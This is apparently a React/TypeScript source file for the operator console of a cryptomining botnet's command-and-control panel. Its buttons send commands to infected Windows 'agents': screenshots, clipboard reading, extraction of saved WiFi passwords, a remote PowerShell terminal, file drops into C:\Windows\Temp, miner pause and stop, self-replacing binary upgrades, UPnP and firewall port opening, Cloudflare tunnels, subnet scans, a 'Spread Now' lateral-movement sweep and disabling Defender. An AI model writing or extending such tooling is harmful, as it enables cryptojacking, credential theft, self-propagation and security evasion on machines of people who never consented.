import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css';

const TERMINAL_MAX_LINES = 500;

interface Props {
  /** Legacy: pass full agent object from list/detail pages */
  agent?: Agent;
  agentId?: string;
  agentName?: string;
  /** Explicit online flag — use when agent object may be stale */
  online?: boolean;
  compact?: boolean;
  /** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
   *  Every entry is processed; no results are dropped (fixes M13). */
  commandResults?: SeqCommandResult[];
  /** @deprecated Pass commandResults instead. */
  latestWsMessage?: { type: string; payload: unknown } | null;
  onCommandSent?: (action: string) => void;
}

export default function AgentRemoteActions({
  agent,
  agentId: agentIdProp,
  agentName: agentNameProp,
  online: onlineProp,
  compact = false,
  commandResults,
  onCommandSent,
}: Props) {
  const agentId = agentIdProp ?? agent?.id ?? '';
  const agentName = agentNameProp ?? agent?.name ?? 'Agent';
  const isOnline = onlineProp ?? agent?.status === 'online';

  const [isDragging, setIsDragging] = useState(false);
  const [customCmd, setCustomCmd] = useState('');
  // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
  const [terminalLog, setTerminalLog] = useState<string[]>([]);
  const [screenshotData, setScreenshotData] = useState<string | null>(null);
  const [busy, setBusy] = useState<string | null>(null);
  // Fleet upgrade
  const [builds, setBuilds] = useState<Build[]>([]);
  const [selectedBuildId, setSelectedBuildId] = useState<string>('');
  useEffect(() => {
    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
  }, []);
  const logEndRef = useRef<HTMLDivElement>(null);
  // Track the highest _seq we've already processed.
  // Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
  // where .slice(-N) trims old entries so absolute indices exceed the array length.
  const lastSeenSeq = useRef(0);

  const addLog = useCallback((msg: string) => {
    setTerminalLog((prev) => {
      const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
      // Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
      return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
    });
  }, []);

  useEffect(() => {
    logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  }, [terminalLog]);

  // When the selected agent changes, reset the seen-seq cursor to the current maximum.
  // This prevents reprocessing results from the previous agent or a stale queue.
  useEffect(() => {
    if (commandResults && commandResults.length > 0) {
      lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
    }
    // Intentionally only runs on agentId change — commandResults excluded from deps
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [agentId]);

  // Process every new commandResults entry we haven't seen yet (M13 — no drops).
  // Filters by _seq so the ring-buffer trim never makes us miss results.
  useEffect(() => {
    if (!commandResults || commandResults.length === 0) return;
    const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
    if (newEntries.length === 0) return;
    lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;

    for (const payload of newEntries) {
      const { agent_id, action, success, message } = payload;
      if (agentId && agentId !== 'all' && agent_id !== agentId) continue;

      if (action === 'screenshot' && success && message) {
        setScreenshotData(`data:image/jpeg;base64,${message}`);
        addLog(`Screenshot received from ${agent_id}`);
      } else if (action) {
        addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
      }
    }
  }, [commandResults, agentId, addLog]);

  const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
    if (!agentId) {
      addLog('No agent selected');
      return;
    }
    if (agent && !isOnline) {
      addLog('Agent is offline');
      return;
    }
    if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
    if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
    if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
    if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
    if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
    if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;

    setBusy(action);
    try {
      if (!compact) addLog(`> Executing ${action}...`);
      const res = await api.sendAgentCommand(agentId, action, args);
      if (res.success === false) {
        addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
        return;
      }
      if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
      onCommandSent?.(action);
    } catch (err: unknown) {
      const msg = err instanceof Error ? err.message : 'Command failed';
      addLog(`API Error: ${msg}`);
    } finally {
      setBusy(null);
    }
  };

  const handleDragOver = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(true);
  };
  const handleDragLeave = () => setIsDragging(false);
  const handleDrop = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(false);
    const file = e.dataTransfer.files[0];
    if (!file) return;
    const reader = new FileReader();
    reader.onload = async (evt) => {
      const base64 = (evt.target?.result as string).split(',')[1];
      const targetPath = `C:\\Windows\\Temp\\${file.name}`;
      await dispatch('upload', { path: targetPath, data: base64 });
    };
    reader.readAsDataURL(file);
  };

  const runCustomCommand = (e: React.FormEvent) => {
    e.preventDefault();
    if (!customCmd.trim()) return;
    dispatch('powershell', { command: customCmd });
    setCustomCmd('');
  };

  if (compact) {
    return (
      <div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
        <div className="agent-remote-row">
          <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
          <button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
          <button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
          <button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
        </div>
      </div>
    );
  }

  const isFleet = agentId === 'all';
  const caps = agent?.capabilities;
  const platform = agent?.platform;

  const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    !isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);

  const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    aggressiveActionHint(action, caps, platform);

  return (
    <div className="tactical-panel">
      <div className="tactical-header">
        <div className="target-indicator">
          <div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
          <h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
        </div>
      </div>

      <div className="tactical-grid">
        <div className="action-group recon-group">
          <h3>Recon &amp; Intel</h3>
          <div className="button-grid">
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
          </div>
        </div>

        <div className="action-group mining-group">
          <h3>Mining Controls</h3>
          <div className="button-grid">
            <button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
          </div>
        </div>

        <div className="action-group power-group">
          <h3>System Power</h3>
          <div className="button-grid">
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
          </div>
        </div>

        <div className="action-group upgrade-group">
          <h3>Fleet Upgrade</h3>
          <p className="action-group-hint">
            Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts — no manual access needed.
          </p>
          <div className="upgrade-row">
            <select
              className="upgrade-select"
              value={selectedBuildId}
              onChange={(e) => setSelectedBuildId(e.target.value)}
            >
              <option value="">— pick a build —</option>
              {builds.filter((b) => b.download_url).map((b) => (
                <option key={b.id} value={b.id}>
                  {b.file_name ?? b.id} ({b.platform ?? 'win'})
                </option>
              ))}
            </select>
            <button
              type="button"
              className="btn-cyan upgrade-btn"
              disabled={!isOnline || !!busy || !selectedBuildId}
              onClick={() => {
                const build = builds.find((b) => b.id === selectedBuildId);
                if (!build?.download_url) return;
                dispatch('upgrade', { data: build.download_url });
              }}
            >
              {busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
            </button>
          </div>
        </div>

        <div className="action-group aggressive-group">
          <h3>NAT &amp; Aggressive Ops</h3>
          <p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
          <div className="button-grid">
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_status')}
              title={aggTitle('hole_punch_status')}
              onClick={() => dispatch('hole_punch_status')}
            >
              WAN IP
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch')}
              title={aggTitle('hole_punch')}
              onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
            >
              Hole Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_close')}
              title={aggTitle('hole_punch_close')}
              onClick={() => dispatch('hole_punch_close', { command: '8989' })}
            >
              Close Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_punch')}
              title={aggTitle('firewall_punch')}
              onClick={() => dispatch('firewall_punch', { command: '8989' })}
            >
              Open FW Port
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('start_tunnel')}
              title={aggTitle('start_tunnel')}
              onClick={() => dispatch('start_tunnel')}
            >
              Cloudflare Tunnel
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('subnet_scan')}
              title={aggTitle('subnet_scan')}
              onClick={() => dispatch('subnet_scan', { command: '64' })}
            >
              Subnet Scan
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('spread_now')}
              title={aggTitle('spread_now')}
              onClick={() => dispatch('spread_now')}
            >
              Spread Now
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('mesh_status')}
              title={aggTitle('mesh_status')}
              onClick={() => dispatch('mesh_status')}
            >
              Mesh Peers
            </button>
            <button
              type="button"
              className="btn-red"
              disabled={aggDisabled('defender_off')}
              title={aggTitle('defender_off')}
              onClick={() => dispatch('defender_off')}
            >
              Disable Defender
            </button>
          </div>
        </div>
      </div>

      {screenshotData && (
        <div className="screenshot-viewer">
          <div className="viewer-header">
            <span>Latest Capture</span>
            <button type="button" onClick={() => setScreenshotData(null)}>✕</button>
          </div>
          <img src={screenshotData} alt="Target Desktop" />
        </div>
      )}

      <div className="tactical-bottom-row">
        <div
          className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
          onDragOver={isOnline ? handleDragOver : undefined}
          onDragLeave={handleDragLeave}
          onDrop={isOnline ? handleDrop : undefined}
        >
          <span className="drop-icon">📥</span>
          <p>Drag &amp; Drop file here</p>
          <small>Uploads to C:\Windows\Temp\</small>
        </div>

        <div className="master-terminal">
          <div className="terminal-output">
            {terminalLog.length === 0 ? (
              <span className="terminal-placeholder">Awaiting telemetry...</span>
            ) : (
              terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
            )}
            <div ref={logEndRef} />
          </div>
          <form className="terminal-input-bar" onSubmit={runCustomCommand}>
            <span className="prompt">PS&gt;</span>
            <input
              type="text"
              value={customCmd}
              onChange={(e) => setCustomCmd(e.target.value)}
              placeholder="Enter PowerShell command..."
              autoComplete="off"
              disabled={!isOnline}
            />
            <button type="submit" disabled={!isOnline}>EXEC</button>
          </form>
        </div>
      </div>
    </div>
  );
}
